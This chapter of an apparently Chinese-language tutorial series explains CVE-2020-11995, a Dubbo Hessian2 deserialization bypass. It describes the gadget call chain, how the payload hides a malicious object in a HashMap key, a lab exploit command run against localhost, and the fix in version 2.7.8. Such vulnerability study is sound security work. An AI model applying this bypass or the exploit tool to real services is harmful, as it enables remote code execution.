Dubbo漏洞 - 07 CVE-2020-11995

CVE-2020-11995 — Hessian2 HashMap Gadget Chain RCE

漏洞概述

CVE 编号:CVE-2020-11995

CVSS 评分:9.8(Critical)

影响版本:Dubbo 2.7.0 ~ 2.7.7, 2.6.0 ~ 2.6.8

修复版本:2.7.8, 2.6.9

攻击协议:Dubbo 协议

本质:CVE-2020-1948 的补丁绕过

漏洞原理

与 CVE-2020-1948 的关系

CVE-2020-1948 修复后,Dubbo 2.7.7 引入了 Hessian2 类型过滤机制

但过滤只检查了请求参数中的顶层对象

如果恶意对象被嵌套在 HashMap 的 key 中,可以绕过检查

根因分析

Hessian2 反序列化 HashMap 时:

  1. 创建空 HashMap

  2. 逐个读取 key-value 对

  3. 调用 HashMap.put(key, value) → 触发 key.hashCode()

安全检查发生在最外层对象类型上

但 HashMap 内部的 key 对象在 put() 时已经被反序列化并触发了 hashCode()

调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
DubboCodec.decodeBody()
→ Hessian2ObjectInput.readObject()
→ MapDeserializer.readMap() // 反序列化 HashMap
→ 创建空 HashMap
→ 循环读取 key-value:
readObject() → 得到 key(恶意 ObjectBean)
readObject() → 得到 value
→ HashMap.put(key, value)
→ key.hashCode() // ← HashMap 内部触发
→ ObjectBean.hashCode()
→ EqualsBean.beanHashCode()
→ ToStringBean.toString()
→ TemplatesImpl.getOutputProperties()
→ RCE!

关键点

安全检查检的是”参数应该是什么类型”

但 HashMap 可以包含任意类型的 key

HashMap.put() 时 hashCode() 的调用是 Java 标准行为,无法拦截

复现步骤

环境搭建

1
2
cd environments/cve-2020-11995
docker-compose up -d

攻击

与 CVE-2020-1948 类似,但 payload 结构有所不同

恶意对象需要被包装在 HashMap 的 key 中

1
2
3
4
5
6
# 使用 dubbo-exp(自动处理 payload 包装)
java -jar dubbo-exp.jar \
--gadget Rome \
--command "touch /tmp/pwned" \
--host 127.0.0.1 \
--port 20880

补丁分析

Dubbo 2.7.8 修复

将 Hessian2 类型过滤从”顶层检查”改为”深度检查”

在 MapDeserializer 内部也加入类型过滤

引入 SerializerFactory.setAllowNonSerializable(false) 配置

配置方式

1
2
3
# dubbo.properties
dubbo.application.check-serializable=true
dubbo.application.serialization.check-status=WARN

Payload 构造差异(与 CVE-2020-1948 对比)

CVE-2020-1948 的 payload 结构

1
2
3
4
5
6
7
8
Dubbo Body:
├── dubbo_version: "2.7.3"
├── service: "任意"
├── version: "0.0.0"
├── method: "任意"
├── param_types: "Ljava/lang/Object;"
├── param_value: [恶意 Hessian2 对象] ← 直接放在参数位置
└── attachments: {...}

恶意对象直接作为 RPC 参数,被 Hessian2ObjectInput.readObject() 读取

CVE-2020-11995 的 payload 结构

1
2
3
4
5
6
7
8
9
10
11
12
Dubbo Body:
├── dubbo_version: "2.7.7"
├── service: "任意"
├── version: "0.0.0"
├── method: "任意"
├── param_types: "Ljava/util/HashMap;"
├── param_value:
│ └── HashMap { ← 恶意对象嵌套在 HashMap 的 key 中
│ key: [恶意 ObjectBean]
│ value: "anything"
│ }
└── attachments: {...}

恶意对象包装在 HashMap 的 key 里

MapDeserializer.readMap()HashMap.put(key, value)key.hashCode() 触发

为什么嵌套就能绕过?

Dubbo 2.7.7 的类型检查逻辑:

1
2
3
4
5
6
7
// 伪代码
Object param = hessian2Input.readObject();
if (param instanceof HashMap) {
// HashMap 是合法类型,通过检查 ✓
// 但 HashMap 的 key 中可能包含恶意对象
// 而 key 在 put() 时已经触发了 hashCode() → 为时已晚
}

时序问题:检查发生在反序列化之后,但 HashMap.put() 触发 hashCode() 是在反序列化过程中

其他嵌套容器也能利用

TreeMapput() 时调用 key.compareTo() → 可触发 compareTo 入口的链

HashSet:内部使用 HashMap → 同样触发 hashCode()

PriorityQueue:heapify 时调用 comparator.compare()

只要是包含”反序列化时自动调用方法”的容器,都可能被利用

思考与延伸

这个漏洞说明安全检查的位置和时序非常重要

只在入口处做检查是不够的,HashMap/TreeMap 等容器内部的对象也可能触发危险操作

Hessian2 的 MapDeserializer 是一个反复被利用的攻击面

学到的攻击技巧:当直接攻击被拦截时,把恶意对象包装在合法容器中

这种”嵌套包装”绕过思路在很多安全场景中都适用(如 WAF 绕过、沙箱逃逸等)


上一章 目录 下一章
06-CVE-2020-1948 Dubbo漏洞 08-CVE-2021-25641